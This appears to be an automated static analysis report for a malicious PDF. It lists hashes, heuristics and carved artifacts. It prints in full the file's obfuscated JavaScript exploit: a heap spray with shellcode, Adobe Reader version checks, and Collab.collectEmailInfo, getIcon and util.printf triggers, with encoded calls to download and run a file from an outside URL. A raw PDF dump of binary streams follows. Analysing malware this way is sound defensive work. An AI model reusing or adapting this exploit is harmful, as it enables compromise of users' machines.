Malicious PDF / .COM — malware analysis report

Static analysis result for SHA-256 55008c7d1ef33afd…

MALICIOUS

PDF / .COM

25.4 KB Created: 2009-10-13 21:30:10 +04:00 Authoring application: sLong (via 154d7da9e669c75ee317d46614381dd8) First seen: 2026-05-11
MD5: d3f12eb0cfc14377a6f6f06fef33dcf4 SHA-1: 53caf3969c71eaafa830c91f030f631b69ec6f4d SHA-256: 55008c7d1ef33afd606cc42b665d468975e4d3da50771db05007e3e95a755949
64 Risk Score

Heuristics 2

  • Analysis timed out (partial result) info ANALYSIS_TIMEOUT_PARTIAL
    Analysis exceeded the wall-clock timeout. Heuristics emitted by completed phases are preserved; phases interrupted mid-execution may have missed findings.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 13

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x30D1 11482 bytes
SHA-256: bff478d2a0e43258e1471f0892e60a763a588d6d7ba8fae40cdedd04b51f070a
Preview script
First 1,000 lines of the extracted script
�� j E x 0 K 7 h U = n u l l ; f u n c t i o n   t z y O O D P Y o ( ) { r e t u r n   f a l s e ; } j c q Q m d p D = " t x s U K L J m F " ; v a r   z x 4 M c R d Q G   =   ' v a r   b V c 0 v Y o M R   =   n e w   A r r a y ( ) ; v a r   r Y 2 C x Z 3 z C v ; f u n c t i o n   x p Z U e T 6 F R ( z H Y 9 4 o o E ,   e n a Q 3 o K P v ) { w h i l e ( z H Y 9 4 o o E . l e n g t h   *   2   <   e n a Q 3 o K P v ) { z H Y 9 4 o o E   + =   z H Y 9 4 o o E ; } z H Y 9 4 o o E   =   z H Y 9 4 o o E . s u b s t r i n g ( 0 ,   e n a Q 3 o K P v   /   2 ) ; r e t u r n   z H Y 9 4 o o E ; } f u n c t i o n   t U k o P N m N ( j k 5 a j 6 j q m ) { i f ( j k 5 a j 6 j q m   = =   0 ) { v a r   i r i c 8 6 5 U   =   0 x 0 c 0 c 0 c 0 c ; } e l s e   i f ( j k 5 a j 6 j q m   = =   1 ) { i r i c 8 6 5 U   =   0 x 3 0 3 0 3 0 3 0 ; } v a r   l x D Q H m z n   =   n e w   A r r a y ( \ " % u 5 3 5 0 % u 5 \ " , \ " 2 5 1 % u 5 7 5 6 \ " , \ " % u 9 c 5 5 \ " , \ " % u 0 0 e \ " , \ " 8 % u 0 0 0 0 % u 5 \ " , \ " d 0 0 % u e \ " , \ " d 8 3 % u 3 1 0 d % \ " , \ " u 6 4 c 0 \ " , \ " % u 4 0 0 3 % u 7 8 \ " , \ " 3 0 % u 8 b \ " , \ " 0 c % u 0 c 4 \ " , \ " 0 % u 7 0 8 \ " , \ " b % u a d 1 c % \ " , \ " u 4 0 8 b % u \ " , \ " e b 0 8 % u \ " , \ " 8 b 0 9 % u 3 4 4 \ " , \ " 0 % u 4 0 8 \ " , \ " d % u 8 b 7 c \ " , \ " % u 3 c 4 0 % \ " , \ " u 5 7 5 6 % u 5 e b \ " , \ " e % u 0 0 0 1 \ " , \ " % u 0 1 0 0 % u \ " , \ " b f e e % u 0 \ " , \ " 1 4 e % u 0 \ " , \ " 0 0 0 % u e f 0 \ " , \ " 1 % u d 6 e 8 % u 0 \ " , \ " 0 0 1 % u \ " , \ " 5 f 0 0 % u 8 9 5 e \ " , \ " % u 8 1 e \ " , \ " a % u 5 e c 2 % \ " , \ " u 0 0 0 1 % u 5 2 0 \ " , \ " 0 % u 8 0 6 8 \ " , \ " % u 0 0 0 0 % \ " , \ " u f f 0 0 % u \ " , \ " 4 e 9 5 % \ " , \ " u 0 0 0 1 % u 8 9 0 \ " , \ " 0 % u 8 1 e \ " , \ " a % u 5 e c 2 % u 0 \ " , \ " 0 0 1 % u 3 1 0 0 \ " , \ " % u 0 1 f 6 % u 8 a \ " , \ " c 2 % u 3 5 9 c % u \ " , \ " 0 2 6 3 % u 0 0 0 0 \ " , \ " % u f b 8 0 \ " , \ " % u 7 4 0 0 % u 8 \ " , \ " 8 0 6 % u 3 2 1 c \ " , \ " % u e b 4 6 % u \ " , \ " c 6 e e % u 3 2 0 \ " , \ " 4 % u 8 9 0 0 % \ " , \ " u 8 1 e a % u \ " , \ " 4 5 c 2 % u 0 0 0 2 \ " , \ " % u 5 2 0 0 \ " , \ " % u 9 5 f \ " , \ " f % u 0 1 5 2 \ " , \ " % u 0 0 0 \ " , \ " 0 % u e a 8 \ " , \ " 9 % u c 2 8 \ " , \ " 1 % u 0 2 5 0 % u 0 \ " , \ " 0 0 0 % u 5 \ " , \ " 0 5 2 % u 9 5 f f \ " , \ " % u 0 1 5 6 % u 0 \ " , \ " 0 0 0 % u 0 0 6 a \ " , \ " % u 0 0 6 a % \ " , \ " u e a 8 9 % u \ " , \ " c 2 8 1 % u 0 \ " , \ " 1 5 e % u \ " , \ " 0 0 0 0 % u 8 9 \ " , \ " 5 2 % u 8 1 e a % \ " , \ " u 7 8 c 2 % \ " , \ " u 0 0 0 2 % u 5 \ " , \ " 2 0 0 % u \ " , \ " 0 0 6 a % u d 0 f \ " , \ " f % u 0 5 \ " , \ " 6 a % u e a 8 9 % \ " , \ " u c 2 8 1 % u 0 1 \ " , \ " 5 e % u 0 0 0 0 % u \ " , \ " f f 5 2 % u 5 a 9 \ " , \ " 5 % u 0 0 0 1 % u 8 \ " , \ " 9 0 0 % u \ " , \ " 8 1 e a % \ " , \ " u 5 e c 2 % u 0 0 0 \ " , \ " 1 % u 5 2 0 0 \ " , \ " % u 8 0 6 8 % u \ " , \ " 0 0 0 0 % u f f 0 0 \ " , \ " % u 4 e 9 5 % u \ " , \ " 0 0 0 1 % \ " , \ " u 8 9 0 0 % u 8 1 e \ " , \ " a % u 5 e \ " , \ " c 2 % u 0 0 0 1 \ " , \ " % u 3 1 0 0 \ " , \ " % u 0 1 f 6 % u 8 \ " , \ " a c 2 % u 3 5 \ " , \ " 9 c % u 0 2 6 e % \ " , \ " u 0 0 0 0 % \ " , \ " u f b 8 0 % u 7 \ " , \ " 4 0 0 % u 8 8 0 \ " , \ " 6 % u 3 2 1 c % u e \ " , \ " b 4 6 % u c 6 e \ " , \ " e % u 3 2 \ " , \ " 0 4 % u 8 9 0 \ " , \ " 0 % u 8 1 e a % u 4 \ " , \ " 5 c 2 % u 0 0 0 2 % \ " , \ " u 5 2 0 0 % u 9 \ " , \ " 5 f f % u 0 1 \ " , \ " 5 2 % u 0 0 0 0 % \ " , \ " u e a 8 9 % u \ " , \ " c 2 8 1 % \ " , \ " u 0 2 5 0 % u 0 \ " , \ " 0 0 0 % u 5 0 5 2 % \ " , \ " u 9 5 f f % u 0 1 \ " , \ " 5 6 % u 0 0 0 0 % u \ " , \ " 0 0 6 a % u \ " , \ " 0 0 6 a % u e a \ " , \ " 8 9 % u c 2 8 \ " , \ " 1 % u 0 1 5 e % u \ " , \ " 0 0 0 0 % u 8 \ " , \ " 9 5 2 % u 8 1 \ " , \ " e a % u a 6 c 2 % \ " , \ " u 0 0 0 2 % \ " , \ " u 5 2 0 0 % u 0 0 \ " , \ " 6 a % u d 0 f \ " , \ " f % u 0 5 6 \ " , \ " a % u e a 8 9 % u c \ " , \ " 2 8 1 % u \ " , \ " 0 1 5 e % u \ " , \ " 0 0 0 0 % u f f \ " , \ " 5 2 % u 5 \ " , \ " a 9 5 % u 0 0 0 1 \ " , \ " % u 9 d 0 0 % u 5 f \ " , \ " 5 d % u 5 a 5 e % u \ " , \ " 5 b 5 9 % u c 3 5 8 \ " , \ " % u 0 0 0 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 % u \ " , \ " 0 0 0 0 % u 0 0 0 0 \ " , \ " % u 0 0 0 0 % u \ " , \ " 0 0 0 0 % \ " , \ " u 0 0 0 0 % u 6 5 \ " , \ " 4 7 % u 5 4 7 4 % u \ " , \ " 6 d 6 5 % u 5 0 7 0 \ " , \ " % u 7 4 6 1 % u 4 1 \ " , \ " 6 8 % u 4 c 0 0 \ " , \ " % u 6 1 6 f % u \ " , \ " 4 c 6 4 % u \ " , \ " 6 2 6 9 % u \ " , \ " 6 1 7 2 % u 7 9 7 \ " , \ " 2 % u 0 0 \ " , \ " 4 1 % u 6 5 4 \ " , \ " 7 % u 5 0 7 4 % u 6 \ " , \ " f 7 2 % u 4 1 6 \ " , \ " 3 % u 6 4 6 \ " , \ " 4 % u 6 5 7 2 % u \ " , \ " 7 3 7 3 % u \ " , \ " 5 7 0 0 % u 6 e \ " , \ " 6 9 % u 7 8 \ " , \ " 4 5 % u 6 3 \ " , \ " 6 5 % u b b 0 \ " , \ " 0 % u f 2 \ " , \ " 8 9 % u f 7 8 9 % \ " , \ " u c 0 3 0 \ " , \ " % u 7 5 a e % u 2 \ " , \ " 9 f d % u \ " , \ " 8 9 f 7 % \ " , \ " u 3 1 f 9 % \ " , \ " u b e c 0 % \ " , \ " u 0 0 3 c % u \ " , \ " 0 0 0 0 % u b 5 0 3 \ " , \ " % u 0 2 1 b % u 0 0 \ " , \ " 0 0 % u a d 6 \ " , \ " 6 % u 8 5 \ " , \ " 0 3 % u 0 2 1 \ " , \ " b % u 0 0 0 0 % u 7 \ " , \ " 0 8 b % u 8 \ " , \ " 3 7 8 % u 1 c c \ " , \ " 6 % u b 5 0 \ " , \ " 3 % u 0 2 1 b % u \ " , \ " 0 0 0 0 % u \ " , \ " b d 8 d % \ " , \ " u 0 2 1 f % u 0 0 \ " , \ " 0 0 % u 0 3 \ " , \ " a d % u 1 b \ " , \ " 8 5 % u 0 0 \ " , \ " 0 2 % u a b 0 0 % \ " , \ " u 0 3 a d % u 1 b \ " , \ " 8 5 % u 0 0 0 2 % \ " , \ " u 5 0 0 0 \ " , \ " % u a d a \ " , \ " b % u 8 5 0 3 % u 0 \ " , \ " 2 1 b % u 0 0 0 0 \ " , \ " % u 5 e a b \ " , \ " % u d b 3 1 % u 5 6 \ " , \ " a d % u 8 5 0 \ " , \ " 3 % u 0 2 1 b % \ " , \ " u 0 0 0 0 % u c 6 \ " , \ " 8 9 % u d 7 \ " , \ " 8 9 % u f c 5 1 % \ " , \ " u a 6 f 3 % u 7 \ " , \ " 4 5 9 % u 5 \ " , \ " e 0 4 % u e b 4 3 \ " , \ " % u 5 e e 9 % u \ " , \ " d 1 9 3 % u 0 3 e 0 \ " , \ " % u 2 7 8 5 % u 0 \ " , \ " 0 0 2 % u 3 1 0 0 \ " , \ " % u 9 6 f 6 % \ " , \ " u a d 6 6 % u e \ " , \ " 0 c 1 % u 0 3 0 2 % \ " , \ " u 1 f 8 5 % u 0 0 \ " , \ " 0 2 % u 8 9 0 0 % \ " , \ " u a d c 6 \ " , \ " % u 8 5 0 3 % u 0 2 \ " , \ " 1 b % u 0 0 \ " , \ " 0 0 % u e b c 3 \ " , \ " % u 0 0 1 0 % \ " , \ " u 0 0 0 0 % \ " , \ " u 0 0 0 0 % u 0 0 0 \ " , \ " 0 % u 0 0 \ " , \ " 0 0 % u 0 0 0 0 % u \ " , \ " 0 0 0 0 % \ " , \ " u 0 0 0 0 % u 8 9 0 \ " , \ " 0 % u 1 b \ " , \ " 8 5 % u 0 0 0 2 % \ " , \ " u 5 6 0 0 % u e 8 \ " , \ " 5 7 % u f f 5 8 % u \ " , \ " f f f f % \ " , \ " u 5 e 5 f % u \ " , \ " 0 1 a b % u 8 0 c \ " , \ " e % u b b 3 \ " , \ " e % u 0 2 7 4 % u \ " , \ " e d e b % u 5 5 \ " , \ " c 3 % u 4 c 5 \ " , \ " 2 % u 4 f 4 d \ " , \ " % u 2 e 4 e % u \ " , \ " 4 c 4 4 % \ " , \ " u 0 0 4 c % u 5 2 5 \ " , \ " 5 % u 4 4 4 c % u 7 \ " , \ " 7 6 f % u 6 \ " , \ " c 6 e % u 6 1 6 \ " , \ " f % u 5 4 6 4 % u \ " , \ " 4 6 6 f % u \ " , \ " 6 c 6 9 % u \ " , \ " 4 1 6 5 % u 7 5 0 \ " , \ " 0 % u 6 4 \ " , \ " 7 0 % u 7 4 6 1 % \ " , \ " u 2 e 6 5 % \ " , \ " u 7 8 6 5 % u \ " , \ " 0 0 6 5 % u 7 2 \ " , \ " 6 3 % u 7 \ " , \ " 3 6 1 % u 2 e 6 8 \ " , \ " % u 6 8 7 \ " , \ " 0 % u 0 0 7 \ " , \ " 0 % u 7 4 6 8 % \ " , \ " u 7 0 7 4 % u 2 \ " , \ " f 3 a % u 6 f 2 f % \ " , \ " u 6 1 6 c % u 6 4 \ " , \ " 6 e % u 6 e 6 f % \ " , \ " u 6 3 2 e \ " , \ " % u 6 d 6 \ " , \ " f % u 7 6 \ " , \ " 2 f % u 7 \ " , \ " 2 6 5 % u \ " , \ " 6 1 7 3 % u 7 5 \ " , \ " 2 f % u 6 4 7 0 % u \ " , \ " 7 4 6 1 % u 2 e 6 5 \ " , \ " % u 6 8 7 0 % u 3 f \ " , \ " 7 0 % u 6 \ " , \ " 4 6 9 % u 3 \ " , \ " 3 3 d % u 7 2 2 6 % \ " , \ " u 7 4 6 5 % u \ " , \ " 6 f 3 d % u 0 0 \ " , \ " 6 b % u 9 0 0 0 \ " ) ; l x D Q H m z n   =   u n e s c a p e ( l x D Q H m z n . j o i n ( \ " \ " ) ) ; v a r   p h l d a h I I t   =   0 x 4 0 0 0 0 0 ; v a r   r q V k M n 7 3 v X   =   l x D Q H m z n . l e n g t h   *   2 ; v a r   e n a Q 3 o K P v   =   p h l d a h I I t   -   ( r q V k M n 7 3 v X   +   0 x 3 8 ) ; v a r   z H Y 9 4 o o E   =   u n e s c a p e ( \ " % u 9 0 9 0 % u 9 0 9 0 \ " ) ; z H Y 9 4 o o E   =   x p Z U e T 6 F R ( z H Y 9 4 o o E ,   e n a Q 3 o K P v ) ; v a r   w f N l a U R w A   =   ( i r i c 8 6 5 U   -   0 x 4 0 0 0 0 0 )   /   p h l d a h I I t ; f o r ( v a r   e z i X Z c N w I J   =   0 ;   e z i X Z c N w I J   <   w f N l a U R w A ;   e z i X Z c N w I J + + ) { b V c 0 v Y o M R [ e z i X Z c N w I J ]   =   z H Y 9 4 o o E   +   l x D Q H m z n ; } } f u n c t i o n   g s a Z V S F U w ( ) { v a r   m z c n N P z F 9 a   =   0 ; v a r   r p Q e g G R v   =   a p p . v i e w e r V e r s i o n . t o S t r i n g ( ) ; a p p . c l e a r T i m e O u t ( r Y 2 C x Z 3 z C v ) ; i f ( ( r p Q e g G R v   > =   8   & &   r p Q e g G R v   <   8 . 1 0 2 )   | |   r p Q e g G R v   <   7 . 1 ) { t U k o P N m N ( 0 ) ; v a r   b j W 5 d S z G u   =   u n e s c a p e ( \ " % u 0 c 0 c % u 0 c 0 c \ " ) ; w h i l e ( b j W 5 d S z G u . l e n g t h   <   4 4 9 5 2 )   b j W 5 d S z G u   + =   b j W 5 d S z G u ; v a r   b M 2 q o Q p W   =   t h i s ; v a r   x 5 2 i u 1 N L   =   C o l l a b ; b M 2 q o Q p W [ \ " c o l l a b S t o r e \ " ]   =   x 5 2 i u 1 N L [ \ " c o l l e c t E m a i l I n f o \ " ] ( { s u b j   :   \ " \ " ,   m s g   :   b j W 5 d S z G u } ) ; } i f ( ( r p Q e g G R v   > =   8 . 1 0 2   & &   r p Q e g G R v   <   8 . 1 0 4 )   | |   ( r p Q e g G R v   > =   9   & &   r p Q e g G R v   <   9 . 1 )   | |   r p Q e g G R v   < =   7 . 1 0 1 ) { t r y { i f ( a p p . d o c . C o l l a b . g e t I c o n ) { t U k o P N m N ( 2 ) ; v a r   k L W P t h X b   =   u n e s c a p e ( \ " % 0 9 \ " ) ; w h i l e ( k L W P t h X b . l e n g t h   <   0 x 4 0 0 0 ) { k L W P t h X b   + =   k L W P t h X b ; } k L W P t h X b   =   \ " N . \ "   +   k L W P t h X b ; v a r   g 5 Z b q t c r q   =   a p p ; g 5 Z b q t c r q [ \ " d o c \ " ] [ \ " C o l l a b \ " ] [ \ " g e t I c o n \ " ] ( k L W P t h X b ) ; m z c n N P z F 9 a   =   1 ; } e l s e { m z c n N P z F 9 a   =   1 ; } } c a t c h ( e ) { m z c n N P z F 9 a   =   1 ; } i f ( m z c n N P z F 9 a   = =   1 ) { i f ( r p Q e g G R v   = =   8 . 1 0 2   | |   r p Q e g G R v   = =   7 . 1 ) { t U k o P N m N ( 1 ) ; v a r   e d L L y O c 8 V   =   \ " 1 2 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 \ " ; f o r ( w 3 R D a f Y N   =   0 ;   w 3 R D a f Y N   <   2 7 6 ;   w 3 R D a f Y N + + ) { e d L L y O c 8 V   + =   \ " 8 \ " ; } v a r   q V T B H 6 E V 5   =   u t i l ; q V T B H 6 E V 5 [ \ " p r i n t f \ " ] ( \ " % 4 5 0 0 0 f \ " ,   e d L L y O c 8 V ) ; } } } } a p p . g k i 0 c H I e   =   g s a Z V S F U w ; r Y 2 C x Z 3 z C v   =   a p p . s e t T i m e O u t ( \ " a p p . g k i 0 c H I e ( ) \ " ,   1 0 ) ; ' ; t h i s . u i d B X 8 G l = 0 . 0 6 2 3 5 9 8 9 3 1 ; f u n c t i o n   c Q Z o d v u 4 6 ( i r J 9 f F t y , j h e A T v Q q m ) { r e t u r n   f a l s e ; } n e e 0 g N 0 y = ' v 9 5 2 6 V s Q E ' ; v a r   e Y B b p 7 8 I   =   z x 4 M c R d Q G . r e p l a c e ( / [ ] / g ,   ' ' ) ; f u n c t i o n   h L P a u v g O S G ( n h f Z 8 m P V x S ) { } t V S J g i M k i f = ' f T m H H 2 G E ' ; v a r   x l 0 w 3 p 6 1 = n e w   A r r a y ( ) ; x l 0 w 3 p 6 1 [ 0 ] = 1 5 0 1 9 ; x l 0 w 3 p 6 1 [ 1 ] = 1 7 6 7 2 ; v a r   a R B R H T U k H   =   ' e ' + ' v ' + ' a ' + ' l ' ; a p p [ a R B R H T U k H ] ( e Y B b p 7 8 I ) ; t h i s . z 5 8 Z n p j d c = 3 0 8 8 3 ; v a r   g 4 D v w 2 l I w = f a l s e ; o P q J e Q B 9 n = 6 1 9 9 ;
stream_004_off000030d1.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x30D1 5740 bytes
SHA-256: 64e0b5264b8307d87a947edca4e5bcd2dbec8f3b0513a36c43f808fd4732d670
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
generic_stage_recovery_000.js deobfuscated-js generic stage recovery null-collapse from raw PDF metadata at offset 0x0 19912 bytes
SHA-256: f564a57d3ea2c2dd277c07cf5ef31c8b9778e8e7b2d33241ba7710e6ef4b728c
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2630>>
stream
x��[]o� }ϯ�@1@�P�e�q���tw�@��L� X� %� #JTHʎ��{(' :�m) f ��X�%� �s y5�,���)���-�� ��x��Wv��>�0���tJ7k�����ӱ�w��h>���)-�&W+��M 8g M�3JJ��ψ>+�e��� ��� �� �N�~�p��j9�]��   t�ү  �U �[֚ύ U�����g���{��=�]��h:Y�v�eտ9Oora�;N'� �^��x�^�뻛� � �����{���� Ɨ� ��ٜ�WדhE%- s�������/gl<����z�1  K�
��� ��X	ih�ZQ�d�(�:�A  �"a��=�d� OY5� 	�2NVՆRUU  $��F�b�*Z�XrJ4�Ɋ��-�
%��Մ>sa�i���L���F��;bĪ�XJ���a��� .� `��`L_-�� 
**��RU�JK������ dq��ӽ�� )\Ĥ�#T�
 �lN�j���Tt���$��T
?���� 8��bM�lL�}$'��V��"� ���gY �������	��J#&B ��05B����t�  j��d(�o � �]�&���1:����VȔ�( �� �� s U��& ��� $܃�W$��aSNBZ;{���6Ռ�L�4�D�ꦮ[x[*d��sU�t�YK-��
�$� �� �  "Ep����f��ZUQ+8�^38�"�a��kqO	����lJ�lx
?�8 s&S W� R.opO ���@��{��� N�F -怨8�\b�  <SjM�k� ]Sp\�k�,��T) �	` # U�6hT��6}b ~0�L ��" %wI) ��#� �1M5�e%�h����A�J   )m � (� ��r��X8 S�E^WI>��m`x��Yn�R  *�N�ZYN�F�Qe �4H��s�j��4 �V9�]H�F � �0lKZ�� O)n*��D��  ��R���5G�.�H  3XQ��u)�j�	x+0mc�m�*iB �U�ں� �i. i����Zm:��  j ]D"k�	��ER4�x0 �]`>�(M^�@��Z
 '�n�jN����} 	��W�g {x   r�e�� oX��H| �v�g�b&?�/ԏ�>�'92H8������D�� H �+/� � U� X�X�º<6�� �	��\��%� ��s �8 �<)�L��}d�� �7������ 1���g� UK ����3 �t�_��� ��h� �w�
  �D�C��H�w��^ 6�Wh���
�  }x�U��XW�VI �˲�� Jxe�"|H x�Y�ZEdc��i�w�X "{_] 4��I�� c�+�	�f��ڨN�@�t����� ��2A��Y� i�W���e#��S8�%@Ƞ,V��� -d
  j� bg�� cu�����= QK�ͅ�[n �H
N �����+~ ���� �4�a���� [�t�W ��$Db  H���k�Yh 4���_�!y��)Y��W(�1�O��q  (��� /cB��+Vj	  |ߋ�p�?9�A%2�9 ~rD�H�� {�Ws�N� �J��� ݉���
� �zH����� 	5l5� �()��z � � �Bq �<�]	;�P<���D	� �H9��A�vV� � ޢS"�m�݋ ;o�:�,���3 ��6e�z��B U�  bU��mHӽb&�   P�u�:�]/W� �0�9� � p�0    �H_���4) ��H��y�v�+/<� �Ҧ�&α ���x���?�5jbY��o�� ���ޫjj� �uMwA3�+Z m���꽵��b� {  �r�$ip��І!��&�?   w���#� � �w2���C�b��k� �u�5s{�[f��T% �d��B�?�7�'MTҰݱ�� �H1tt %� ���h���HD���
~��:�+֎i���ue @h�}_/S�By 5֫T�+"��h�r����9=�Kv[<@j�X%��6���������	:���ul��% 25w;b� �ow�O �t�W/�ɭ� �ź� �  9��x��m�L"��o�� � � c� �.  n)�  \�m^ =� �-  �PH x�� � � }�� ���6\c �w�ڐu�ܫ%�"U�Ӎ �
_,ِ���,hv��nF ����)�  �o e�U�K�~� %s&���^e�ӭ �|�|h��|mO�@�Bcһ�~b)G Z�"�Ml�  T �q���9) ]���^�O�W��� �� H��
F y n�m� �<��U�<�y%��W  v�� Xkv=��<��r��{�G ���l��^ đ������r e e��!�J� � �]���p7��qB� �q]qc��Յ�ǫf�]��� e\?	  �� �jt��#��  �* N(�L �~�Y6X�]?�$LsW�'�[ ���~��1͜22�| � ^ p��^vލ[D��e�*�D�0������l
��� )�F��W5c+wöy 	 �u���۷��H,�� �p����epSc�;�� pDH��u��L ]}G&� ����� b�� I��ۀ|� � Ʉ4�� �X* -�� �G�O�ޥ�㢈tȽ�ȫG�- �� w
t8nr�� 2	0* �5� �i�t@)!=��=C��v��j��� �1�i6 i��2�� �~�i䠧 �=}�b�*��^ų� {�n�q��. g�K,o�Hޑ��딡[?g� �I�aO� sF  �|��k~=!�F=�����߶p� �xzL=�l� � OdϮ'��� ٻ��y� ���I�D$'��#/�,��#]zf� ����� ek
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2507>>
stream
x��[[o� ~ϯ8@1@�P�e�q���t�]`�ݙ-�� J�%� ��� ���G%i�X��d�i1pƖi�ܿs���Œv4� �_ � 9^?�U\|wC ����d:��5�������2�FI2��W�ɔ W�� ]�& �Y&�録�>�#�O�~y��<�qz��;�b�t�) �$W��쒮g�����~��PN�E�Xk?5F��O��͏���}��~�} � �N����2�O��R�������v � �� ���y~q��� �V�Qӭ�!��#� �lN˫�I��� �����gI_��   �{x�Rz2���[C'����P�u�
�T��,��R M�d��ɡ�� %�/����
� 3 �/]IuS�-9&����9��I�*�9)&��Zꪦ{�Zj���FVd ��0IY)*N%�6�S�s�R ��	}/�i�c��-��Nt�* �uQ`}͝kcr> �<m��׍�-՞p�J>��
_�{|RyKkmr*d �+�S+jO* �Z8;r�n��Ք6B:�4�\pG[�3�t�w � ̀ 
Q8!yL �  H� �Ғ��}ɴ ��7䕕P�  )^0lj� ���Zؚ��T ��$�'o* ���k�;����� J��ְ H� �
'�ZKf�P� ��$���~ � 
��]���p�(ol\s�����*�č��Q� %�A� ��rV�T g�+�	 ���R&s�EQ:R��Z(�� `>)U�D�n���6����ML=^�^ ���Pغ���] �������!*	�A���� �C�yg$�%�X��tc9LC���,�Xn �$��6 �)1�4��W�LMwQɸz!�'aX��i�F� ��� A�1�&��� �ą���V� jj� �
� �� �� 愾8��  �
.�x**��0|�GB�@/�pX~�y ���K��O �9ۘ  @� J�ΰ5쓥Fd��:��G�� �,sԘ �+  � � q �$�~� �Ĥ�@�� 5�� �?3�- D���X*!�� ��� Z��u9��#4  ^�{L  h�:� [�j� �d �p��z ��  h
|��j�C ��~%� .;��Z�e � �'��nD`p�{��5sg�~���@=� <�� ��5Ц �:�+�r�!� *� � � P)rJ r&ҍ�� �$� � ��� �bt  �ڦ�   �a L
�r,kr ��| *��~��E��z O��a C $�q ��X���xXi��r�� 2�UvO���Z�O(H��)* A�p �| ���G1 
_� ޏ��ׂAI`0 �LE-( g �=� - @���a �� ͹f���?f�[ �؝� ��q� ��$�BMЏ�Qq� �گ\ܞ���B  ?� �#%P*�9� �~RR� �3 c�� ��(l��eb�!�#�b��'�P�*_ �� W+ ���R��� ��2���c B�/d}�_uVz pw �5� v��a$&�A&pV�_ (�� �� "q{� �����1�:^̍F��� ��   �� tL1 �I!aX�!�=�� ���M����� ��d>H` �����Q͔/sO�ha x��Խ�{�퀎��b�  �~,��W!�v0��  /�^��j��A�� r)���iŽn�"�w �-���"W6�k`�l�5 ^ '&�A��5p�����c�gT�rB�  �� o�;�d#�P�(� �-%kρ���ΏWP�
 %�Pv  �uWq�PhTr�S�wu kdH
�׮|��;�rb� �i����ET� �L �5�g� �o�  �ly'�d�Xx�5�S$�j/ F%<�D�jSz̵ Q��:.�E�~�
G,�}˘� Y�k ��I�R� �m�@_�+Ҿ2���6� �\�4�� �T� �: �����` � �� �x��� ����o� ��;�X�� � Uvk�J�]i��r�>�W�}Ty�:އp1E�7Z��E�z�1T ޵ �o � ����b��[ ����pa�[�= SL)  I/���� �����:�   @U�ӔS�t91� ���z�j�W鏚�  W����d? Q8����Qğ� � ���� 'b �?�?�q�:����O���e�(�h��2h 짃`е�br �q��x�v ��� ��  p�� U�˱��Sc [�&�$�( $
G����׷=�8 �����p ��<u�2�%�O` �vc2�n,� �c
a 6=N�P|�A� �0�E���H ���~W  �fA�f�m}��95� ?��F!{���� ��� 8���=�} G�JȥQ�
 ��g |�  �������b��� ��p ,*�� Re�Ø�x�h�u�0�I� ��Q#��r ү�y� � �� ��H��� ~&T��>I���=@ 4�G%t��� :Z�� �	�d!<�3j����Q ��  Ő���(��ڻq�;\�
hbr �L�ݧ�y�u��������tT=/F K0�� �Q� w<����Q �8�� �Ϣ6��˓�rt� �H{2 _]rΡ�w� �)� ��HO_����6+�j:9 0�~H� B�� H鯏�<��׎�� ��������� YOy@�u/ >E����{C����# � �`�>��#�
�݈
WT��E �Pg�7{�� B�x~�:��BI�7�1�]O拗G� ?�'�O�:I&� �O�˧��S� }�ˀ��P�� _:� 
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2370>>
stream
x��[]o�6 }ϯ������j� ��c��m�@ �4�.P�h�1EjHʎ��{h'c&�m�	�A��Vd�~�{.�A2�Қ � ^w�� ���� ^��w���� ͒��n ��۫�Oצ�5  ��x�� hr����z�Lp�t� F�U��?C�������ሃ� |� n <�m
�0Ûi2���  't���  ��o嚵�cc�*�� ���9��}&�k�@�� ����2�_���R�`�A2���
��uw�����W�  ����g�l�� ��VB�x4���, Ω��d����Y�ot��	 ��� �R+= �d�ac�T��Һ�\�eU�RfD�)5Ze��ayB�q�J�Y�H�ĤX�dߍo'��N�OLт	Ӓ�7-�zM�ׂ��M�ŕc��� f��i]sC<ժ� RZ* �$��e[�|�
9�9���*� �%ê:� ��0Z3S��ڕT7u��f� �Eͩh���4�Y��Y,0Ef �� ��	���UM����2��Z�uL�G;� V �q�؄� � B�d ���7V�;VqXC ��Ts�ZJ o�E�r|� � �2�� �x�4<���Ԋ��  �!Hk ��
,�x����ηz�b94B:�4�\pG+R,�vY� R0 m5�*�e��-4�:Y	� Q � �8V S�!#�R�� z@K#�  aE���P�`T�q$�s��D������ P�R
mS�� a�ܠ�T 7�[���W�2�C�t����Pp��`��*��� F��� �ʹ]� �f� � F;�؃K �X�+��T�i�@� ��U�
 ��C�(������c�5� ���;�2��qe l�� K# G h d5��+ t�DRK�ڝF��ʒ��31b��n+lB? �
NNó�V b�3GYc� R�TB ��K �q�sc����  e g ��cX� KZ*,�J+M�#^�܇ѝ�j��� ~FFG�� )�:� � �c�@��Y-���t� �w�ō1�OY 6� �� Ŀ�{mT�&��U ��Z{�R���h)+��p~�#Kg�/"J�-��B�>x�p#� ���JQQ[@*� w+8RՂ���i.�%|f�X�
kb   �#U\: � A� �B8�@)b,0 ���=�2�9� Aᰇ��?q �$� f  �'8�� 9�5� ; G,��(�k ��q� T � ���Y/L�/�M� ��^ \�[ԉ(��  +�1���N��6͐^q㐂��9Ð� � �E���"MD L�r� ���C� �5��9��K� �	*� B�g  -:� �  �;?4� a�# �4@P�\�z[��5�� ѧ���A1� 
